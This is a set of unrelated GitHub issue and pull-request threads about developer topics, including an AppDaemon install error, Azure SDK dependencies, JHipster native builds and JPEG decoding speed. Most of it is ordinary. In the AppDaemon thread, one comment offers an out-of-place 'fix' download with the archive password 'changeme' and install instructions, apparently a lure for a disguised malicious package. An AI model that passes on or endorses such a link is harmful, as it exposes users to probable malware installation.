Ah, thanks! Not sure how I missed that. More detail on what the parameters mean would be useful, though. Eg what's a frequency bin? Is it affected by frame_length, frame_step, and T? How does changing the various Fourier transform parameters affect the output? n_chunks_per_song - how does changing the number of chunks affect the output? Does it make sense to use more chunks for longer songs and fewer chunks for shorter songs? What difference does changing the learning_rate make, and what's the range of acceptable values? What does changing batch_size do? How does  Bi-LSTM differ from U-net, and how would you specify the former in config? (ie what's the equivalent of 'unet.unet', and are different params needed?)
I realise some of this might not be easy to explain to people who don't understand the math, but whatever you can manage will be appreciated.


Added macro to provide a default main entry for mpi tests.

Added macro DOCTEST_CONFIG_IMPLEMENT_WITH_MPI_MAIN to provide a default main entry for mpi tests.

@philbucher doctest v2.4.10 is coming up, do you have time and motivation to take a look at this?

For me ok
Sorry for the delay and thanks for the contribution
@Saalvage do you agree?


add storybook link and adjust CONTRIBUTING.MD

The storybook is a great resource for the toolkit but it's not linked anywhere in the repo.
Also, some of the scripts listed in CONTRIBUTING.MD don't exist anymore.

@microsoft-github-policy-service agree [company="Nx"]

@microsoft-github-policy-service agree company="Nx"

@microsoft-github-policy-service agree company="Nx"

Hey @MaxKless, thanks for the PR!
Removing links to Storybook was actually an intentional change because our Storybook build pipeline broke with no easy fix awhile ago.
As a result, we switched all our documentation samples to use CodeSandbox and those now operate as the official and most up-to-date version of interactive code snippets/samples.
I left the Storybook published for posterity purposes. But without an ability to denote that the docs are deprecated (since we can't build/publish new versions) I realize we should probably just remove it –– especially if people are still able to find the docs like you did.
Hope that all makes sense and let me know if you have any questions! :)

With all that said, thank you for the catch on the contributing docs mismatch! If you want to adjust this PR so the only change is removing the npm run build:docs line entirely I'd be happy to accept and merge that

Ah that's good to know! I guess I will stop using it then :P
Thanks for taking the time and explaining the situation, I appreciate it.
Updated the PR.

Ah that's good to know! I guess I will stop using it then :P Thanks for taking the time and explaining the situation, I appreciate it.
Updated the PR.

Of course, happy to do so! And thank you for updating, I'll give a quick review now


Update minimum msrestazure package to 0.4.9

The Azure SDK for Python, 2.0.0rc6, has an implicit dependency on
python module requests 2.8.0+.
The msrestazure module 0.4.9 changes its dependency on msrest from
0.4.4 to 0.4.10; however, the Azure SDK for Python defines its
minimum version of msrestazure as 0.4.0.
Further, version 0.4.8 of the msrest module changes its minimum
version requirement of requests from 2.7.0 to 2.14.1.
If one uses the request module prior to 2.8.0 then they are likely
to see this exception:
SysCallError: (32, 'EPIPE')
The exception can be triggered by doing the following:

Use the Azure SDK to store a copy of the compute and network clients
Create a VM
Create a NIC
Deallocate VM and attach NIC to VM
Start VM
The next use of the compute or network clients will trigger a
SysCallError: (32, 'EPIPE') error.

The EPIPE error is gracefully handled by the requests module in 2.8.0.
Without this change, any user on a system that is running an older
version of requests and installs the 2.0.0rc6 Azure SDK via pip
will encounter this issue because the minimum dependencies will be
satisfied and requests will not be upgraded.

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

Hi @action
This file is not used in our packaging system, this is only for Travis.
I'm not sure what is your issue, but we strongly recommend to use a virtualenv and not the system directly. This way you are sure to get the latest requests each time.

I see. To resolve this issue during install, to me it looks like I need to move this change to azure-common/setup.py. If it's dependency on msrestazure is updated, then future versions of the SDK will install the correct version of requests if an outdated one already exists in an non-virtualenv deployment.
I did not intend to change the Travis workflow, so go ahead and reject this change. It appears to resolve the problem, a small change is required to a different file.

Actually, I updated this pull request to make the change from requirements.txt to azure-common/setup.py. This request shouldn't be rejected, and I've moved the change from the Travis process to the install process. The updated change should cause fresh installs of the package to avoid the situation in which an old, and incompatible, version of requests erroneously satisfies the package dependency.

Actually, in 2.0.0rc6 msrestazure was a dependency of azure-common as "extra_requires":
    extras_require={
        'autorest':[
            'msrestazure>=0.4.0,<0.5.0',
        ]
    },

But we got issue with pip and recursive extra requires.
So this not used anymore, Now, every package has their own msrestazure dependency. To avoid mistake on duplication, we have a template of package and we use it each time we do a release.
The template currently contains:
    install_requires=[
        'msrestazure~=0.4.8',
        'azure-common~=1.1.6',
    ],

So I can update the template to 0.4.11, this way new people will get a new dependency, but for new package only.
Talking about 2.0.0rc6, the dependency was msrestazure>=0.4.0,<0.5.0. So, a fresh install should pick latest msrestazure, then latest msrest, then apply requests~=2.14. Unless you have old version of msrest/msrestazure in your pip cache.

Interesting. Thanks for the detailed reply, I found it very helpful.
I'm satisfied knowing that the issue has been looked into and should be resolved for future releases of the SDK. And, yea, there might have been a chance an older version of msrest/msrestazure was in my pip cache.


Upgrade to JHipster 8.3

Spring Boot 3.2.3 requires hibernate to be downgraded for native support:
https://github.com/spring-projects/spring-boot/releases/tag/v3.2.3
We probably need to wait for JHipster 3.2.4.

You are correct. If I try to generate an app locally (with jhipster-native --defaults) and build a native image, it says hibernate.version is not defined.
$ npm run native-package

><EMAIL_ADDRESS>native-package
> ./mvnw package -B -ntp -Pnative,prod -DskipTests

[INFO] Scanning for projects...
[ERROR] [ERROR] Some problems were encountered while processing the POMs:
[ERROR] 'build.plugins.plugin.version' for org.hibernate.orm.tooling:hibernate-enhance-maven-plugin must be a valid version but is '${hibernate.version}'. @ line 1116, column 34
 @
[ERROR] The build could not read 1 project -> [Help 1]
[ERROR]
[ERROR]   The project com.mycompany.myapp:native:0.0.1-SNAPSHOT (/Users/mraible/Downloads/native/pom.xml) has 1 error
[ERROR]     'build.plugins.plugin.version' for org.hibernate.orm.tooling:hibernate-enhance-maven-plugin must be a valid version but is '${hibernate.version}'. @ line 1116, column 34
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/ProjectBuildingException

If I add <hibernate.version>6.4.2.Final</hibernate.version>, it still fails because this is not the version that's used.
$ mvn dependency:tree | grep hibernate
[INFO] +- com.fasterxml.jackson.datatype:jackson-datatype-hibernate6:jar:2.15.4:compile
[INFO] +- org.hibernate.orm:hibernate-core:jar:6.4.4.Final:compile
[INFO] |  +- org.hibernate.common:hibernate-commons-annotations:jar:6.0.6.Final:runtime
[INFO] +- org.hibernate.orm:hibernate-jcache:jar:6.4.4.Final:compile
[INFO] +- org.hibernate.orm:hibernate-jpamodelgen:jar:6.4.4.Final:provided
[INFO] +- org.hibernate.validator:hibernate-validator:jar:8.0.1.Final:compile

If I add <hibernate.version>6.4.2.Final</hibernate.version>, it still fails because this is not the version that's used.

This should work in jhipster main due to spring boot parent, won’t work in v 8.2.1.

Should the title of this PR be 8.3 now?

Maven is not running with correct profile.
[0] :: JHipster 🤓  :: Running Spring Boot 3.2.4 :: Startup profile(s)  ::
[0] :: https://www.jhipster.tech/ ::
[0]
[0] 2024-04-16T22:44:30.954Z  INFO 5215 --- [           main] com.mycompany.myapp.JhipsterApp          : Starting AOT-processed JhipsterApp using Java 17.0.9 with PID 5215 (/home/runner/work/generator-jhipster-native/generator-jhipster-native/app/target/native-executable started by runner in /home/runner/work/generator-jhipster-native/generator-jhipster-native/app)
[0] 2024-04-16T22:44:30.954Z DEBUG 5215 --- [           main] com.mycompany.myapp.JhipsterApp          : Running with Spring Boot v3.2.4, Spring v6.1.5
[0] 2024-04-16T22:44:30.954Z  INFO 5215 --- [           main] com.mycompany.myapp.JhipsterApp          : No active profile set, falling back to 2 default profiles: "dev", "api-docs"

Maybe this is fixed by https://github.com/jhipster/generator-jhipster/pull/25980 in JHipster 8.4.0?

It's missing gradle + webflux now.


symfony bundle

is there already a symfony bundle for php-http that either uses the locator or can be configured to an explicit client adapter / message factory?

and if not, could you imagine having one in the php-http organisation if i contribute it?

i just found that @egeloen is still pushing things to https://github.com/egeloen/IvoryHttpAdapterBundle - now i am confused. is the ivory http adapter not obsoleted by the php-http adapter?

Absolutely. Symfony Bundle is planned. However php-http is not yet stable, this is why:

there is no bundle yet
@egeloen still maintains Ivory adapter

Many projects rely on the "old" package, which is currently stable (or close to it). This project is not yet stable, but already has some stuff to play with. However, there are still many work to be done, even at the abstraction level (see php-http/adapter#38).
At some point php-http will replace ivory http adapter (I would say mid-autumn).
If you would like to work on a symfony bundle, I can create you the repository with the basic content based on our boilerplate, so you can start working on it. Is that fine for you?

cool, thanks for the infos! my idea for the bundle would be to provide a service with each of the adapters / factories that by default uses the ::find mechanism but instead can be configured to an explicit class. additionally, we might provide a request listener that comes very early and register a class for some of the discoveries in case some libraries rely on discovery only.
this is not a big thing, but i feel every symfony bundle would have to repeat that and users would have to repeat configuration several times.
by allowing to configure a totally custom client adapter service id that we alias to php_http.client or something like that, the user can also configure his guzzles or whatnot as he needs.
does that make sense? if that is about the scope of the bundle, i would be happy to contribute a first draft of that. for FOSHttpCacheBundle we will need that... i guess the repo name according to symfony naming conventions would be PhpHttpBundle.

It absolutely make sense. Static service discovery should be the last thing you use. As said, the point is zero config, but in a framework integration it can probably solved better.
Actually PhpHttp is rather a vendor name. It should be HttpAdapterBundle or HttpClientBundle. We are currently doing some cleanup in the terminology (see php-http/adapter#38). The plan is to have more generic interface names (like HttpClient instead of HttpAdapter). While the interfaces will be generic, the discovery classes will still be adapter specific.

the naming idea makes a lot of sense. the correct name then might be PhpHttpClientBundle. the thing is that just HttpClientBundle is really generic - on the other hand its a statement that this is the thing to use :-)
i was thinking of PhpHttpBundle because i would integrate all things available in discovery into one bundle. having one separate per type (client adapter / message factory / uri factory) seems like overkill.

Well, we us Http as a namespace. The idea behind the organization is to collect everything that is useful and related to HTTP. While the client/adapter is our main "product", we don't want to be limited to it.
That's the reason why I think PhpHttpBundle would be a bad choice, but I agree that the mentioned things should be under one bundle. On the other hand, this adapter thing IS our main project, so probably using the vendor name for its bundle is not so bad.

well the github organisation is called php-http... naming things really is one of these difficult challenges :-)
but as long as we agree on what it should do, i let you have the call on the name. HttpClientBundle could be fine - in the end the Request factory and Uri factory are just sub-problems of having a http client.

Agree.
If you start working on something: take a look at our boilerplate repository (be aware of the separate branches). That should give you a picture about how we organize packages.

agree on the name? of course we can still fix it later, but if we can avoid renaming i won't mind :-)
i can start in a repo in my organisation and later transfer the repo to php-http if you want. or you could create a repo directly here and give me access to it. as you prefer.

Agree that naming is hard. And agree on naming. Lets call it PhpHttpBundle.
We can still rename it if we have to, but I cant come up with a better name
right now.
Feel free to start it in your repository.

created https://github.com/dbu/HttpClientBundle - happy for input on the issues i created


No module named 'schedule' when trying to install using AppDaemon

Hi,
I'm still waiting for my SoulMate but this does not prevent me from trying to install the integration in Home-Assistant 😄. I do not have any AppDaemon experience and I'm struggling during the install process. I'm quite sure I've missed something somewhere.

AppDaemon is installed as Home-Assistant Add-On
Long-Lived Auth-Token is configured and AppDaemon is able to connect to Home-Assistant according to the logs
logs: and apps: are added to the corresponding config-files.
I've created the esham directory and copied all the files matching solmate*.py
.env_0 is created and filled with MQTT configuration (remember, I don't have the SoulMate yet so no serial available)

When starting AppDaemon I get this output:
[19:22:32] INFO: Starting AppDaemon...
s6-rc: info: service legacy-services successfully started
2024-08-28 19:22:40.365034 INFO AppDaemon: AppDaemon Version 4.4.2 starting
2024-08-28 19:22:40.365589 INFO AppDaemon: Python version is 3.11.9
2024-08-28 19:22:40.366037 INFO AppDaemon: Configuration read from: /config/appdaemon.yaml
2024-08-28 19:22:40.366529 INFO AppDaemon: Added log: AppDaemon
2024-08-28 19:22:40.366987 INFO AppDaemon: Added log: Error
2024-08-28 19:22:40.367406 INFO AppDaemon: Added log: Access
2024-08-28 19:22:40.367784 INFO AppDaemon: Added log: Diag
2024-08-28 19:22:40.368170 INFO AppDaemon: Added log: Soulmate_Log_0
2024-08-28 19:22:40.835789 INFO AppDaemon: Loading Plugin HASS using class HassPlugin from module hassplugin
2024-08-28 19:22:41.628540 INFO HASS: HASS Plugin Initializing
2024-08-28 19:22:41.629450 INFO HASS: HASS Plugin initialization complete
2024-08-28 19:22:41.631695 INFO AppDaemon: Initializing HTTP
2024-08-28 19:22:41.634194 INFO AppDaemon: Using 'ws' for event stream
2024-08-28 19:22:41.654588 INFO AppDaemon: Starting API
2024-08-28 19:22:41.666135 INFO AppDaemon: Starting Admin Interface
2024-08-28 19:22:41.668090 INFO AppDaemon: Starting Dashboards
2024-08-28 19:22:42.100537 INFO HASS: Connected to Home Assistant 2024.8.3
2024-08-28 19:22:42.228046 INFO AppDaemon: App 'hello_world' added
2024-08-28 19:22:42.231075 INFO AppDaemon: App 'solmate_0' added
2024-08-28 19:22:42.233862 INFO AppDaemon: Found 2 active apps
2024-08-28 19:22:42.234721 INFO AppDaemon: Found 0 inactive apps
2024-08-28 19:22:42.235397 INFO AppDaemon: Found 0 global libraries
2024-08-28 19:22:42.236115 INFO AppDaemon: Starting Apps with 2 workers and 2 pins
2024-08-28 19:22:42.238570 INFO AppDaemon: Running on port 5050
2024-08-28 19:22:42.346712 INFO HASS: Evaluating startup conditions
2024-08-28 19:22:42.361141 INFO HASS: Startup condition met: hass state=RUNNING
2024-08-28 19:22:42.362008 INFO HASS: All startup conditions met
2024-08-28 19:22:42.439314 INFO AppDaemon: Got initial state from namespace default
2024-08-28 19:22:43.623289 INFO AppDaemon: New client Admin Client connected
2024-08-28 19:22:44.252378 INFO AppDaemon: Scheduler running in realtime
2024-08-28 19:22:44.290924 INFO AppDaemon: Adding /config/apps to module import path
2024-08-28 19:22:44.292662 INFO AppDaemon: Adding /config/apps/soulmate to module import path
2024-08-28 19:22:44.354255 INFO AppDaemon: Loading App Module: /config/apps/hello.py
2024-08-28 19:22:44.502073 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_websocket.py - ignoring
2024-08-28 19:22:44.504677 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_appdmonitor.py - ignoring
2024-08-28 19:22:44.507881 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_appdsolmate.py - ignoring
2024-08-28 19:22:44.510344 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_ha_config.py - ignoring
2024-08-28 19:22:44.514422 INFO AppDaemon: Loading App Module: /config/apps/soulmate/solmate_appdaemon_0.py
2024-08-28 19:22:44.642861 WARNING Error: ------------------------------------------------------------
2024-08-28 19:22:44.644248 WARNING Error: Unexpected error loading module: /config/apps/soulmate/solmate_appdaemon_0.py:
2024-08-28 19:22:44.645460 WARNING Error: ------------------------------------------------------------
2024-08-28 19:22:44.663007 WARNING Error: Traceback (most recent call last):
  File "/usr/lib/python3.11/site-packages/appdaemon/app_management.py", line 1000, in check_app_updates
    await utils.run_in_executor(self, self.read_app, mod["name"], mod["reload"])
  File "/usr/lib/python3.11/site-packages/appdaemon/utils.py", line 304, in run_in_executor
    response = future.result()
               ^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/concurrent/futures/thread.py", line 58, in run
    result = self.fn(*self.args, **self.kwargs)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/site-packages/appdaemon/app_management.py", line 783, in read_app
    self.modules[module_name] = importlib.import_module(module_name)
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/importlib/__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<frozen importlib._bootstrap>", line 1204, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1176, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1147, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 690, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 940, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "/config/apps/soulmate/solmate_appdaemon_0.py", line 5, in <module>
    import solmate_appdsolmate as sol_appd_solmate
  File "/config/apps/soulmate/solmate_appdsolmate.py", line 1, in <module>
    import solmate_main as sol_main
  File "/config/apps/soulmate/solmate_main.py", line 5, in <module>
    import schedule
ModuleNotFoundError: No module named 'schedule'

2024-08-28 19:22:44.664250 WARNING Error: ------------------------------------------------------------
2024-08-28 19:22:44.665830 WARNING AppDaemon: Removing associated apps:
2024-08-28 19:22:44.667551 WARNING AppDaemon: solmate_0
2024-08-28 19:22:44.672196 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_importmanager.py - ignoring
2024-08-28 19:22:44.683732 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_utils.py - ignoring
2024-08-28 19:22:44.686708 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_connect.py - ignoring
2024-08-28 19:22:44.690647 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_main.py - ignoring
2024-08-28 19:22:44.693356 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate.py - ignoring
2024-08-28 19:22:44.696968 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_env.py - ignoring
2024-08-28 19:22:44.699772 WARNING AppDaemon: No app description found for: /config/apps/soulmate/solmate_mqtt.py - ignoring
2024-08-28 19:22:44.702666 INFO AppDaemon: Loading app hello_world using class HelloWorld from module hello
2024-08-28 19:22:44.708794 INFO AppDaemon: Calling initialize() for hello_world
2024-08-28 19:22:44.781223 INFO hello_world: Hello from AppDaemon
2024-08-28 19:22:44.783811 INFO hello_world: You are now ready to run Apps!
2024-08-28 19:22:44.786343 INFO AppDaemon: App initialization complete

It looks like the Python modules are not available. As per documentation the requirements.txt is not needed in AppDaemon installations. But where does AppDaemon get the information about the modules from? Did I miss a step?
Thanks!

Congrats deciding for a Solmate 😃
Yes, you misread one point, maybe you are just too excited and eager to get it 🤣. You need to add the required libraries listed in requirements.txt into appdaemon, see: https://github.com/mmattel/EET-Solmate/blob/main/docs/appdaemon.md#install-appdaemon-as-addon
This is quite easy, just not forget to restart appdaemon afterwards...
Let me know how it went.

Great 😃
Have a lot of fun.
Let me know if there is anything open. Feedback welcomed, really 😅 or how you use it. Just drop a note in the discussions section.

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Exception when connection is terminated by system

When an app is in background and the system terminates the connection (on iOS/simulator after about ~30 secs), launching the app again raises an exception
flutter: 2020-11-01 23:43:52.584295 FINE phoenix_socket.socket - [phoenix_socket] Heartbeat completed
...somewhere inbetween the connection terminates
flutter: 2020-11-01 23:46:38.254694 INFO phoenix_socket.socket - Socket closed with reason  and code 1000
flutter: 2020-11-01 23:46:38.258508 FINE phoenix_socket.socket - Trigger channel exceptions on 1 channels
flutter: 2020-11-01 23:46:38.259269 FINE phoenix_socket.channel.user - Receiving error on channel
### PhoenixException: PhoenixException: socket closed
flutter: 2020-11-01 23:46:38.260450 WARNING phoenix_socket.channel.user - Got error on channel
### PhoenixException: PhoenixException: socket closed

Call stack:
PhoenixSocket._sendHeartbeat (/usr/local/Caskroom/flutter/1.20.4/flutter/.pub-cache/hosted/pub.dartlang.org/phoenix_socket-0.4.4/lib/src/socket.dart:408)
<asynchronous gap> (Unknown Source:0)
PhoenixSocket._sendHeartbeat (/usr/local/Caskroom/flutter/1.20.4/flutter/.pub-cache/hosted/pub.dartlang.org/phoenix_socket-0.4.4/lib/src/socket.dart:0)
_rootRunUnary (dart:async/zone.dart:1198)
_rootRunUnary (dart:async/zone.dart:0)
_CustomZone.runUnary (dart:async/zone.dart:1100)
_CustomZone.runUnaryGuarded (dart:async/zone.dart:1005)
_CustomZone.bindUnaryCallbackGuarded.<anonymous closure> (dart:async/zone.dart:1042)
_rootRunUnary (dart:async/zone.dart:1206)
_rootRunUnary (dart:async/zone.dart:0)
_CustomZone.runUnary (dart:async/zone.dart:1100)
_CustomZone.bindUnaryCallback.<anonymous closure> (dart:async/zone.dart:1026)
_Closure.call (dart:core-patch/function.dart:0)
_Timer._runTimers (dart:isolate-patch/timer_impl.dart:397)
_Timer._handleMessage (dart:isolate-patch/timer_impl.dart:428)
_Timer._handleMessage (dart:isolate-patch/timer_impl.dart:0)
_Closure.call (dart:core-patch/function.dart:0)
_RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:168)

@hamann I just tried something out, can you retry with master?

@matehat 👍


update deriveFrom example

Update example for deriveFrom

[ ] package.name = underscore
[ ] version = include "v"

Issues

[ ] unable to get package: failed validation: package validation failed:

 eth-substreams gui erc20-balance-changes-1.1.0.spkg graph_out
Error: read manifest "erc20-balance-changes-1.1.0.spkg": unable to get package: failed validation: package validation failed: package "erc20-balance-changes": invalid name: must match ^([a-zA-Z][a-zA-Z0-9_]{0,63})$

[ ] should match Semver

eth-substreams gui erc20-balance-changes-1.1.0.spkg graph_out
Error: read manifest "erc20-balance-changes-1.1.0.spkg": unable to get package: failed validation: package validation failed: package "erc20_balance_changes": version "1.1.0" should match Semver

References

https://substreams.streamingfast.io/quick-access/change-log#changed-3
https://github.com/streamingfast/substreams/issues/271

Not working example ❌
deriveFrom: path/to/mainnet-substreams.spkg #this can also be a remote url

package:
  name: "polygon-substreams"
  version: "100.0.0"

network: polygon

initialBlocks:
  module1: 17500000
params:
  module1: "address=2a75ca72679cf1299936d6104d825c9654489058"

Working example ✅
deriveFrom: path/to/mainnet-substreams.spkg #this can also be a remote url

package:
  name: polygon_substreams
  version: v100.0.0

network: polygon

initialBlocks:
  module1: 17500000
params:
  module1: "address=2a75ca72679cf1299936d6104d825c9654489058"

We are getting rid of the deriveFrom example as soon as this comes in: https://github.com/streamingfast/substreams/issues/351


Update pandoc to 1.17.2

Hi could you add autoupdate information? https://github.com/lukesampson/scoop/wiki/App-Manifest-Autoupdate


jpeg decoding optimizations. removing bound checks

This speeds up JPEG decoding (both in-memory decompressJPG as well as image.load) by about 2x or more.
Decoding Lena on my macbook:
OLD:
2.005 sec, 128 images, 0 workers, 63.85 decoded/sec
NEW:
0.858 sec, 128 images, 0 workers, 149.12 decoded/sec

linking against libjpeg-turbo instead of libjpeg decreases this number down further to about 3.4x speedup
0.586 sec, 128 images, 0 workers, 218.56 decoded/sec
One can install jpeg-turbo simply on OSX using:
brew install jpeg-turbo
brew unlink jpeg
brew link jpeg-turbo --force
Then reinstalling image.
But be careful, you might have to reinstall some software if you do so.
Instead, you can directly force-link just torch-image against jpeg-turbo to be safer.

Nice!

On Apr 24, 2015, at 1:50 AM, Soumith Chintala<EMAIL_ADDRESS>wrote:
This speeds up JPEG decoding (both in-memory decompressJPG as well as image.load) by about 2x or more.
Decoding Lena on my macbook:
OLD:
2.005 sec, 128 images, 0 workers, 63.85 decoded/sec
NEW:
0.858 sec, 128 images, 0 workers, 149.12 decoded/sec
You can view, comment on, or merge this pull request online at:
https://github.com/torch/image/pull/62
Commit Summary
jpeg decoding optimizations. removing bound checks
File Changes
M generic/jpeg.c (21)
Patch Links:
https://github.com/torch/image/pull/62.patch
https://github.com/torch/image/pull/62.diff
—
Reply to this email directly or view it on GitHub.


Add Japanese translation to OpenMetadata

Feature
This ticket is to track Japanese translation for OpenMetadata.
@chirag-madlani @ShaileshParmar11 lets add docs on how and where to add translations

Hi @harshach,
I have added a Japanese translation in reference to this PR #9222.
Please review my PR #10622.


Cleanup CSS code

Pull request checklist
Make sure you:

[x] Signed the Contributor License Agreement
[x] Followed the commit message guidelines

Short description of the change(s)
Fix #458
Cleans up CSS Code, removing the following unnecessary styles and components:

[x] Remove workarounds for .module--primary typography overrides
[x] Remove styling that implemented a decorative <hr> type bar above titles (which caused the need for workarounds)
[x] Remove module code for "placement"
[x] Remove module code for "tabs"

@ststimac looks like placement.css is used in some templates and that's why the build is failing. Can you please take a look?

@molant yup, on it.

I didn't realize it was being used on the Docs > Hints page. Re-added.

Updated w/ @sarvaje's edit.